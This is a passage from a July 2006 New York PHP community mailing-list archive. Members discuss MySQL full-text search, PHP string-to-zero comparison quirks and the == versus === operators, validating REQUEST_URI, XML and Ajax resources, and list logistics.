Zala) Date: Thu, 20 Jul 2006 09:10:54 +0530 Subject: [nycphp-talk] Parsing Excel Files In-Reply-To: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com> References: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com> Message-ID: Read this thread. http://lists.nyphp.org/pipermail/talk/2006-June/018807.html Thanks Anirudh Zala On Thu, 20 Jul 2006 07:13:30 +0530, Jeff Loiselle wrote: > Been googling and wondering.. anyone have a solution they'd reccomend? > > --- > Jeff Loiselle > Web Developer, Musician, and Observer > http://jeff.loiselles.com > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php -- ----------------------------------------------- Anirudh Zala (Project Manager) ASPL, http://www.aspl.in Ph: +91 281 245 1894 arzala at gmail.com ----------------------------------------------- From jonbaer at jonbaer.com Thu Jul 20 09:17:04 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Thu, 20 Jul 2006 09:17:04 -0400 Subject: [nycphp-talk] PHP security proxy scanner Message-ID: <582EAED6-80E9-4333-BBFE-F926B767271E@jonbaer.com> https://chorizo-scanner.com Has anyone here tried this out yet? - Jon From ps at pswebcode.com Thu Jul 20 10:39:57 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Thu, 20 Jul 2006 10:39:57 -0400 Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL Message-ID: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> Has anyone come across a simple PHP/SQL class or basic script that handles MySQL 4.x full text searching and maybe even returns results with relevancy? Or maybe you've seen an excellent tutorial on this topic? It does not have to be a big deal, I don't need a spider or document searching, just full text searching on a full text indexed MySQL table. You know, just asking... Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From jbaer at VillageVoice.com Thu Jul 20 11:34:19 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Thu, 20 Jul 2006 11:34:19 -0400 Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC8182@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 While it doesn't really answer your question .. Ive been looking @ this lately .. http://hyperestraier.sourceforge.net/ I was a little surprised to not find a MySQL or PHP bindings to it (although I guess you can do PHP-Swig? Maybe). Then Google led me here .. http://page2.xrea.jp/doc/Services_HyperEstraier-0.2.8/Services_HyperEstr aier/_HyperEstraier-0.2.8_HyperEstraier_php.html Im guessing you basically broker fulltext searching or just that column data to a more robust fulltext indexing engine. I don't think in the current MySQL situation you can get any meta information back from the result :-\ - - Jon - -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Peter Sawczynec Sent: Thursday, July 20, 2006 10:40 AM To: 'Org, Talk at Nyphp.' Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL Has anyone come across a simple PHP/SQL class or basic script that handles MySQL 4.x full text searching and maybe even returns results with relevancy? Or maybe you've seen an excellent tutorial on this topic? It does not have to be a big deal, I don't need a spider or document searching, just full text searching on a full text indexed MySQL table. You know, just asking... Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEv6J799e5DI8C/rsRAvIYAJ0dHFOO0aLXZJPKUSDAkGPrnNhTzQCfZfkT eNDKkpJIkoQYreAQf++U0x4= =2ea1 -----END PGP SIGNATURE----- From dmintz at davidmintz.org Thu Jul 20 12:04:26 2006 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 20 Jul 2006 12:04:26 -0400 (EDT) Subject: [nycphp-talk] congrats to Synder & Southwell on positive "Pro PHP Security" review Message-ID: http://books.slashdot.org/books/06/07/19/146236.shtml --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. From cliff at pinestream.com Thu Jul 20 12:22:02 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Thu, 20 Jul 2006 12:22:02 -0400 Subject: [nycphp-talk] $_SERVER['REQUEST_URI'] validation Message-ID: <000b01c6ac18$a25c2c20$12a8a8c0@HirschLaptop> I have tried to avoid $_SERVER['REQUEST_URI'] for security reasons, but it's just too easy to use for things like login redirects. Are there any good scripts for validating this variable? As I see it, I should probably deconstruct it, validate the following, and then reconstruct it. 1. The domain is "mine" 2. The requested page is "ok" 3. The "stuff" after the ? isn't "nasty" Any thoughts or suggestions? Cliff _______________________________ Pinestream Communications, Inc. 52 Pine Street, Weston, MA 02493 USA Tel: 781.647.8800, Fax: 781.647.8825 http://www.pinestream.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From tedd at sperling.com Thu Jul 20 12:46:46 2006 From: tedd at sperling.com (tedd) Date: Thu, 20 Jul 2006 12:46:46 -0400 Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> References: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> Message-ID: At 10:39 AM -0400 7/20/06, Peter Sawczynec wrote: >Has anyone come across a simple PHP/SQL class or basic script that handles MySQL 4.x full text searching >and maybe even returns results with relevancy? > >Or maybe you've seen an excellent tutorial on this topic? > >It does not have to be a big deal, I don't need a spider or document searching, >just full text searching on a full text indexed MySQL table. > >You know, just asking... > >Warmest regards, > >Peter Sawczynec, Peter: An excellent write-up and example is shown in "MySQL Cookbook" by Paul DuBois re O'Reilly. You can get via Amazon for $22.99 used. I'm currently discovering what that is about myself. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From craig at juxtadigital.com Thu Jul 20 12:56:37 2006 From: craig at juxtadigital.com (Craig Thomas) Date: Thu, 20 Jul 2006 12:56:37 -0400 Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> References: <001301c6ac0a$5fae80c0$68e4a144@Rubicon> Message-ID: <44BFB5C5.8090102@juxtadigital.com> Peter Sawczynec wrote: > Has anyone come across a simple PHP/SQL class or basic script that > handles MySQL 4.x full text searching > and maybe even returns results with relevancy? > > Or maybe you've seen an excellent tutorial on this topic? FYI: http://www.zend.com/zend/tut/tutorial-ferrara1.php http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html From ps at pswebcode.com Thu Jul 20 17:22:16 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Thu, 20 Jul 2006 17:22:16 -0400 Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL In-Reply-To: Message-ID: <003801c6ac42$934cf0f0$68e4a144@Rubicon> Okay so here's how this shaped up, in case this info can ever help you too. I have MySQL Cookbook and the solid explanation there about full-text searching is real good, including (very importantly) the config tweak on how to get MySQL full text search to include 3-letter words. But, the zend tutorial pointed out by Craig Thomas jumps right in quite on the money: a) builds a quick form, b) introduces and uses Boolean full text searching too, c) also offers relevancy in the result sets, http://www.zend.com/zend/tut/tutorial-ferrara1.php This other tutorial (though based on another pre-existing code project), also shows very nicely: a) how to splice in a list of words to ignore, b) word weighting, c) how to apply word stems, http://www.symfony-project.com/askeet/21 Errata: Neat explanation. http://www.devarticles.com/c/a/MySQL/Getting-Started-With-MySQLs-Full-Text-S earch-Capabilities/ A super looking "does it all" search engine PHP project: http://us2.php.net/mnogosearch And a search tools compendium: http://www.searchtools.com/tools/tools.html Gracias y buenos noches. -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of tedd Sent: Thursday, July 20, 2006 12:47 PM To: NYPHP Talk Subject: Re: [nycphp-talk] PHP/SQL Full Text Search on MySQL At 10:39 AM -0400 7/20/06, Peter Sawczynec wrote: >Has anyone come across a simple PHP/SQL class or basic script that >handles MySQL 4.x full text searching and maybe even returns results >with relevancy? > >Or maybe you've seen an excellent tutorial on this topic? > >It does not have to be a big deal, I don't need a spider or document >searching, just full text searching on a full text indexed MySQL table. > >You know, just asking... > >Warmest regards, > >Peter Sawczynec, Peter: An excellent write-up and example is shown in "MySQL Cookbook" by Paul DuBois re O'Reilly. You can get via Amazon for $22.99 used. I'm currently discovering what that is about myself. tedd -- ---------------------------------------------------------------------------- -------- http://sperling.com http://ancientstones.com http://earthstones.com _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From michael.southwell at nyphp.org Thu Jul 20 21:42:57 2006 From: michael.southwell at nyphp.org (Michael Southwell) Date: Thu, 20 Jul 2006 21:42:57 -0400 Subject: [nycphp-talk] congrats to Synder & Southwell on positive "Pro PHP Security" review In-Reply-To: References: Message-ID: <6.2.3.4.2.20060720214240.02615910@pop.nyphp.com> At 12:04 PM 7/20/2006, you wrote: >http://books.slashdot.org/books/06/07/19/146236.shtml Thanks, David. We worked hard (very hard!) on the book, and so it's nice not just to see it getting this kind of positive recognition but also to imagine it helping people write applications that are more secure in a whole variety of ways. >--- >David Mintz >http://davidmintz.org/ > >Amendment IV > >The right of the people to be secure in their >persons, houses, papers, and effects, against >unreasonable searches and seizures, shall not be >violated, and no Warrants shall issue, but upon >probable cause, supported by Oath or affirmation, >and particularly describing the place to be >searched, and the persons or things to be seized. >_______________________________________________ >New York PHP Community Talk Mailing List >http://lists.nyphp.org/mailman/listinfo/talk > >NYPHPCon 2006 Presentations Online >http://www.nyphpcon.com > >Show Your Participation in New York PHP >http://www.nyphp.org/show_participation.php Michael Southwell, Vice President for Education New York PHP http://www.nyphp.com/training - In-depth PHP Training Courses From jay_nyphp2 at emailias.com Thu Jul 20 22:05:11 2006 From: jay_nyphp2 at emailias.com (Jayesh Sheth) Date: Thu, 20 Jul 2006 22:05:11 -0400 Subject: [nycphp-talk] comparison with zero Message-ID: <1153447511.28157.266529328@webmail.messagingengine.com> Hi everyone, Okay, here's a test. Consider the following snippet: What will be outputted above? If you said 'I do not know', then you are wrong; 'it is zero' will be outputted. The reason I think this is happening is because if you do something like this: if('one' == 0){ echo 'one is equal to zero'; } you will get 'one is equal to zero'. This may be a stupid question, but why if you compare a string to zero, does it evaluate to true? Thanks, - Jay From michael.southwell at nyphp.org Thu Jul 20 23:29:27 2006 From: michael.southwell at nyphp.org (Michael Southwell) Date: Thu, 20 Jul 2006 23:29:27 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <1153447511.28157.266529328@webmail.messagingengine.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> Message-ID: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> All strings are evaluated as zero unless they begin with a character which can be interpreted as a numeral. You can test this as follows: echo intval( 'a string'); see http://us3.php.net/manual/en/language.types.string.php#language.types.string.conversion for more information this is why echo 5 + '5' outputs 10, whereas echo 5 + 'five' outputs 5 At 10:05 PM 7/20/2006, you wrote: >Hi everyone, > >Okay, here's a test. > >Consider the following snippet: > >define('ZERO', 0); >define('ONE', 1); > >function switchIt($val){ > > switch($val){ > case ZERO: > echo 'it is zero'; > break; > > case ONE: > echo 'it is one'; > break; > > default: > echo 'I do not know'; > break; > } > >} > >switchIt('undefined'); >?> >What will be outputted above? > >If you said 'I do not know', then you are wrong; 'it is zero' will be >outputted. > >The reason I think this is happening is because if you do something like >this: > >if('one' == 0){ > echo 'one is equal to zero'; >} >you will get 'one is equal to zero'. This may be a stupid question, but >why if you compare a string to zero, does it evaluate to true? > >Thanks, > >- Jay >_______________________________________________ >New York PHP Community Talk Mailing List >http://lists.nyphp.org/mailman/listinfo/talk > >NYPHPCon 2006 Presentations Online >http://www.nyphpcon.com > >Show Your Participation in New York PHP >http://www.nyphp.org/show_participation.php Michael Southwell, Vice President for Education New York PHP http://www.nyphp.com/training - In-depth PHP Training Courses From craig at juxtadigital.com Fri Jul 21 07:14:44 2006 From: craig at juxtadigital.com (Craig Thomas) Date: Fri, 21 Jul 2006 07:14:44 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> Message-ID: <44C0B724.3010002@juxtadigital.com> Michael Southwell wrote: > All strings are evaluated as zero unless they begin with a character > which can be interpreted as a numeral. You can test this as follows: > > echo intval( 'a string'); > > see > http://us3.php.net/manual/en/language.types.string.php#language.types.string.conversion > for more information >>if('one' == 0){ >> echo 'one is equal to zero'; >>} >>you will get 'one is equal to zero'. This may be a stupid question, but >>why if you compare a string to zero, does it evaluate to true? Try: if('one' === 0){ echo 'one is equal to zero?'; } http://www.php.net/manual/en/language.operators.comparison.php From dmintz at davidmintz.org Fri Jul 21 09:13:51 2006 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 21 Jul 2006 09:13:51 -0400 (EDT) Subject: [nycphp-talk] comparison with zero In-Reply-To: <44C0B724.3010002@juxtadigital.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> <44C0B724.3010002@juxtadigital.com> Message-ID: Perhaps the real lesson is that the switch/case construct uses == rather than === On Fri, 21 Jul 2006, Craig Thomas wrote: [...] > Try: > > if('one' === 0){ > echo 'one is equal to zero?'; > } > > http://www.php.net/manual/en/language.operators.comparison.php > > --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. From scott at crisscott.com Fri Jul 21 09:20:22 2006 From: scott at crisscott.com (Scott Mattocks) Date: Fri, 21 Jul 2006 09:20:22 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> Message-ID: <44C0D496.7080900@crisscott.com> Michael Southwell wrote: > All strings are evaluated as zero unless they begin with a character > which can be interpreted as a numeral. You can test this as follows: I think to be a little more clear here you have to say, "When a string is converted to a number, it will be converted to zero unless it begins with a number." A non-empty string that is converted to a boolean will be converted to TRUE. Also, the === operator converts all things to strings and then compares the string values to see if the two are equal. Therefore, "str" === 0 becomes "str" == "0" not 0 == 0. -- Scott Mattocks Author of: Pro PHP-GTK http://www.crisscott.com From dcech at phpwerx.net Fri Jul 21 10:32:59 2006 From: dcech at phpwerx.net (Dan Cech) Date: Fri, 21 Jul 2006 10:32:59 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <44C0D496.7080900@crisscott.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> <44C0D496.7080900@crisscott.com> Message-ID: <44C0E59B.5060500@phpwerx.net> Scott Mattocks wrote: > A non-empty string that is converted to a boolean will be converted to > TRUE. Also, the === operator converts all things to strings and then > compares the string values to see if the two are equal. Therefore, "str" > === 0 becomes "str" == "0" not 0 == 0. Actually, no. The === operator does not do any conversion at all, the 2 arguments must have the same type and the same value for === to return true. These pages from the manual will give you a good run down on how the various comparison operators work. http://php.net/manual/en/language.operators.comparison.php http://php.net/manual/en/types.comparisons.php If you want both arguments converted to string and compared as such you will need to use the strcmp function: http://php.net/manual/en/function.strcmp.php Or do the conversion yourself: if ((string)$a === (string)$b) { ... } The rules for comparisons are not altogether simple, and I for one found my first thorough read-through of the pages above very enlightening. Dan From scott at crisscott.com Fri Jul 21 11:12:12 2006 From: scott at crisscott.com (Scott Mattocks) Date: Fri, 21 Jul 2006 11:12:12 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <44C0E59B.5060500@phpwerx.net> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> <44C0D496.7080900@crisscott.com> <44C0E59B.5060500@phpwerx.net> Message-ID: <44C0EECC.8090305@crisscott.com> Dan Cech wrote: > Scott Mattocks wrote: >> A non-empty string that is converted to a boolean will be converted to >> TRUE. Also, the === operator converts all things to strings and then >> compares the string values to see if the two are equal. Therefore, "str" >> === 0 becomes "str" == "0" not 0 == 0. > > Actually, no. > > The === operator does not do any conversion at all, the 2 arguments must > have the same type and the same value for === to return true. Of course I can't find the page where I read this but I know that I have seen many times, "=== compares the string representation of the two variables." Which is why you get different results for "1" == "01" and "1" === "01". I will keep looking for the page. -- Scott Mattocks Author of: Pro PHP-GTK http://www.crisscott.com From shiflett at php.net Fri Jul 21 11:19:31 2006 From: shiflett at php.net (Chris Shiflett) Date: Fri, 21 Jul 2006 11:19:31 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <44C0D496.7080900@crisscott.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> <44C0D496.7080900@crisscott.com> Message-ID: <44C0F083.1000807@php.net> Scott Mattocks wrote: > When a string is converted to a number, it will be converted > to zero unless it begins with a number. I like to think of this is a side-effect of the way PHP determines the numeric value rather than a special case. The string is scanned from left to right, and as long as the characters can possibly represent a numeric value, they are considered to be part of it. All of these evaluate to TRUE: var_dump(10 == '10'); var_dump(10 == '010'); var_dump(10 == '10ronaldinho'); var_dump(10 == '10e'); var_dump(10 == '+10e'); var_dump(10 == '10abc20'); E and + are the only non-digit characters that can be interpreted as representing a numeric value, as far as I'm aware, and it depends on where they're encountered. (I think + needs to be the first character, in which case it's superfluous anyway, and E needs to be followed by a digit.) These evaluate to FALSE: var_dump(10 == '10e2'); var_dump(10 == '10E2'); If you're like me, this is surprising. You're probably thinking that the strings on the right are being converted to integers, because that's what they're being compared to. Nope, because these evaluate to TRUE: var_dump(10 == (int)'10e2'); var_dump(10 == (int)'10E2'); These evaluate to FALSE: var_dump(10 == (float)'10e2'); var_dump(10 == (float)'10E2'); So, I would consider this to be the special case, not strings that don't begin with a digit. > A non-empty string that is converted to a boolean will be > converted to TRUE. Just so no one is mislead, I think Scott means empty() as in the function, not all strings that are not the empty string. For example: $true = '0'; if (!$true) { echo "The string '0' is not TRUE."; } Hope that helps. Chris -- Chris Shiflett Principal, OmniTI http://omniti.com/ From dcech at phpwerx.net Fri Jul 21 11:43:59 2006 From: dcech at phpwerx.net (Dan Cech) Date: Fri, 21 Jul 2006 11:43:59 -0400 Subject: [nycphp-talk] comparison with zero In-Reply-To: <44C0EECC.8090305@crisscott.com> References: <1153447511.28157.266529328@webmail.messagingengine.com> <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com> <44C0D496.7080900@crisscott.com> <44C0E59B.5060500@phpwerx.net> <44C0EECC.8090305@crisscott.com> Message-ID: <44C0F63F.2080002@phpwerx.net> Scott Mattocks wrote: > Dan Cech wrote: >> Scott Mattocks wrote: >>> A non-empty string that is converted to a boolean will be converted to >>> TRUE. Also, the === operator converts all things to strings and then >>> compares the string values to see if the two are equal. Therefore, "str" >>> === 0 becomes "str" == "0" not 0 == 0. >> Actually, no. >> >> The === operator does not do any conversion at all, the 2 arguments must >> have the same type and the same value for === to return true. > > Of course I can't find the page where I read this but I know that I have > seen many times, "=== compares the string representation of the two > variables." > > Which is why you get different results for "1" == "01" and "1" === "01". > > I will keep looking for the page. If you think about it this cannot be correct, as there are many examples of variables which are not identical though the results of converting them to a string are. The reason you get different results for "1" == "01" and "1" === "01" is that the first compares them as numbers (because they are both numeric strings), while the second compares them as strings. Dan From ken at secdat.com Fri Jul 21 12:26:03 2006 From: ken at secdat.com (Kenneth Downs) Date: Fri, 21 Jul 2006 12:26:03 -0400 Subject: [nycphp-talk] Here or Announce? Message-ID: <44C1001B.3060907@secdat.com> I am not clear from reading the website if NYPHP-Announce is only for announcements from the friendly folks running NYPHP, or for us casual lurkers who have an announcement. If I have an announcement, does it go here or there? -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From jbaltz at altzman.com Fri Jul 21 15:03:47 2006 From: jbaltz at altzman.com (Jerry B. Altzman) Date: Fri, 21 Jul 2006 15:03:47 -0400 Subject: [nycphp-talk] Here or Announce? In-Reply-To: <44C1001B.3060907@secdat.com> References: <44C1001B.3060907@secdat.com> Message-ID: <44C12513.4070402@altzman.com> On 7/21/2006 12:26 PM, Kenneth Downs wrote: > I am not clear from reading the website if NYPHP-Announce is only for > announcements from the friendly folks running NYPHP, or for us casual > lurkers who have an announcement. If I have an announcement, does it go > here or there? Congratulations! Many happy more! :-) //jbaltz -- jerry b. altzman jbaltz at altzman.com www.jbaltz.com thank you for contributing to the heat death of the universe. From jbaltz at altzman.com Fri Jul 21 15:31:02 2006 From: jbaltz at altzman.com (Jerry B. Altzman) Date: Fri, 21 Jul 2006 15:31:02 -0400 Subject: [nycphp-talk] apologies to the list (was: Re: Here or Announce?) In-Reply-To: <44C12513.4070402@altzman.com> References: <44C1001B.3060907@secdat.com> <44C12513.4070402@altzman.com> Message-ID: <44C12B76.9060804@altzman.com> On 7/21/2006 3:03 PM, Jerry B. Altzman wrote: [...a snide comment...] My apologies to the list for what should have been a direct follow-up to the original sender. //jbaltz -- jerry b. altzman jbaltz at altzman.com www.jbaltz.com thank you for contributing to the heat death of the universe. From lists at zaunere.com Fri Jul 21 15:51:24 2006 From: lists at zaunere.com (Hans Zaunere) Date: Fri, 21 Jul 2006 15:51:24 -0400 Subject: [nycphp-talk] Here or Announce? In-Reply-To: <44C1001B.3060907@secdat.com> Message-ID: <000601c6acff$0c846900$640aa8c0@MobileZ> Hi Ken, Kenneth Downs wrote on Friday, July 21, 2006 12:26 PM: > I am not clear from reading the website if NYPHP-Announce is only for > announcements from the friendly folks running NYPHP, or for us casual > lurkers who have an announcement. If I have an announcement, does it > go here or there? Depends what it is - Submit it to http://www.nyphp.org/contact.php and we'll take it from there. Thank you for asking, --- Hans Zaunere / President / New York PHP www.nyphp.org / www.nyphp.com From laeeq38 at yahoo.com Fri Jul 21 16:04:42 2006 From: laeeq38 at yahoo.com (Laeeq Ahmed) Date: Fri, 21 Jul 2006 13:04:42 -0700 (PDT) Subject: [nycphp-talk] Title: Virtual Hosting Setup - Windows 98/XP & Message-ID: <20060721200442.16972.qmail@web56402.mail.re3.yahoo.com> Title: Virtual Hosting Setup - Windows 98/XP & Linux with Apache I read this article which is very good but it still doesnt answer one question. If I were to enter any URL (e.g yahoo.com, hotmail.com I mean could be any URL)in the browser in my XP machine, my host file would not know what it is going to be. In this case, I still would like my Linux machine to serve it with some default page saying "Hello". Can I do it with my default virtual host? what else can I do to set up such scenario? Regards --------------------------------- Do you Yahoo!? Everyone is raving about the all-new Yahoo! Mail Beta. -------------- next part -------------- An HTML attachment was scrubbed... URL: From brian at mexny.com Sun Jul 23 01:32:45 2006 From: brian at mexny.com (brian at mexny.com) Date: Sat, 22 Jul 2006 22:32:45 -0700 Subject: [nycphp-talk] XML with PHP Message-ID: <1153632765.44c309fd7db3d@webmail.mexny.com> Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself reading, but i now i want to know how can i implement XML in PHP, and how can XML could make better ways to develop in PHP. I know this is not the list to talk about XML, but that's not the point, i want to know how is the relation between XML and PHP.. And the Next question is, could any tell me where can i learn about Ajax.. best regards.. From matt at jobsforge.com Sun Jul 23 07:48:40 2006 From: matt at jobsforge.com (Matthew Terenzio) Date: Sun, 23 Jul 2006 07:48:40 -0400 Subject: [nycphp-talk] XML with PHP In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com> References: <1153632765.44c309fd7db3d@webmail.mexny.com> Message-ID: <11d48d54815d2a85d6fc919cc32aba11@jobsforge.com> On Jul 23, 2006, at 1:32 AM, "" wrote: > Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself > reading, > but i now i want to know how can i implement XML in PHP, and how can > XML could > make better ways to develop in PHP. It's a hugely broad topic. Look at the many article on Google talking about what people are doing: http://www.google.com/search?q=xml+php > > I know this is not the list to talk about XML, but that's not the > point, i want > to know how is the relation between XML and PHP.. Many languages have libraries made to handle XML and make it easier to use. check out: http://us3.php.net/simplexml http://us3.php.net/manual/en/ref.domxml.php > > And the Next question is, could any tell me where can i learn about > Ajax.. http://www.google.com/search?q=ajax Stay away from the paid link on the right for ajax.com, unless you were looking to clean your sink. ;) > > best regards.. > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > Matt Terenzio ________________________________________ Two-way, shared, public RSS feeds by SkinnyFarm http://skinnyfarm.com From arzala at gmail.com Mon Jul 24 00:00:13 2006 From: arzala at gmail.com (Anirudh Zala) Date: Mon, 24 Jul 2006 09:30:13 +0530 Subject: [nycphp-talk] XML with PHP In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com> References: <1153632765.44c309fd7db3d@webmail.mexny.com> Message-ID: About learning ajax, better to learn from frameworks or packages like http://www.xajax.org, http://pear.php.net/package/ HTML_AJAX etc. Thanks Anirudh Zala On Sun, 23 Jul 2006 11:02:45 +0530, wrote: > Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself > reading, > but i now i want to know how can i implement XML in PHP, and how can XML > could > make better ways to develop in PHP. > > I know this is not the list to talk about XML, but that's not the point, > i want > to know how is the relation between XML and PHP.. > > And the Next question is, could any tell me where can i learn about > Ajax.. > > best regards.. > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php -- ----------------------------------------------- Anirudh Zala (Project Manager) ASPL, http://www.aspl.in Ph: +91 281 245 1894 arzala at gmail.com ----------------------------------------------- From ken at secdat.com Mon Jul 24 09:13:14 2006 From: ken at secdat.com (Kenneth Downs) Date: Mon, 24 Jul 2006 09:13:14 -0400 Subject: [nycphp-talk] ANNOUNCE: GLP Data-centrice PHP framework Message-ID: <44C4C76A.1080403@secdat.com> Secure Data Software is announcing that our GPL'd database-centric PHP framework has gone into beta. It is available for download now from the main project site at: http://docs.secdat.com This framework is heavily centered on database applications, and makes large use of a data dictionary to drive most (sometimes all) of the functionality. It stresses not so much the management of code as the elimination of code wherever possible. While the system is excellent for large and complex databases (as in hundreds of tables, loads of calculations and constraints), it can also do simple projects. To wit, the documentation site itself is an Andromeda application with some wiki functionality built in. We are particularly proud of the self-documenting features of system, every system we build for our clients gets this type of detail "for free": http://docs.secdat.com/?gp_page=x_docview&gppn=Data+Dictionary Support is available at andromeda at secdat.com. You can also contact me directly at the email address given below. -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From ps at pswebcode.com Tue Jul 25 08:01:50 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Tue, 25 Jul 2006 08:01:50 -0400 Subject: [nycphp-talk] A Case for an AJAX Aid Message-ID: <000001c6afe2$1d7e3d40$68e4a144@Rubicon> Check this site: www.carmax.com and go do a search for a vehicle E.g. this link searches around Tampa Florida: http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16 Choose Make, Model... etc. and watch the whole page disappear out from under you and reload on every dropdown selection. Whoa. Wouldn't you say that an AJAX-like solution that only updated the dropdowns and/or divs would make this already highly-effective interface even more slick. It would. Join the EEP (Enhanced Experience Programming) movement. Put an AJAX aid in every task that could use it. Viva la AJAX. ---------------------- By the by, almost every used car for sale on this site comes with 5 or 10 interior and exterior pictures, so if your looking to buy and want to quickly sample what all kinds of cars look like at all types of trim levels and colors and interior options (without going to 10 dealerships) you'll probably find it here. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com From ken at secdat.com Tue Jul 25 09:09:05 2006 From: ken at secdat.com (Kenneth Downs) Date: Tue, 25 Jul 2006 09:09:05 -0400 Subject: [nycphp-talk] RSVP Policy? Message-ID: <44C617F1.7020600@secdat.com> We have had an opening in our schedule and will be able to attend today, but have not yet RSVP'd. The site says we had to do it by yesterday? Is this hard and fast? -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From lists at zaunere.com Tue Jul 25 09:21:58 2006 From: lists at zaunere.com (Hans Zaunere) Date: Tue, 25 Jul 2006 09:21:58 -0400 Subject: [nycphp-talk] RSVP Policy? In-Reply-To: <44C617F1.7020600@secdat.com> Message-ID: <008401c6afed$51e8d080$740aa8c0@MobileZ> Kenneth Downs wrote on Tuesday, July 25, 2006 9:09 AM: > We have had an opening in our schedule and will be able to attend > today, but have not yet RSVP'd. > > The site says we had to do it by yesterday? Is this hard and fast? Nope - RSVP now, you'll be ok. H From ken at secdat.com Tue Jul 25 09:23:35 2006 From: ken at secdat.com (Kenneth Downs) Date: Tue, 25 Jul 2006 09:23:35 -0400 Subject: [nycphp-talk] RSVP Policy? 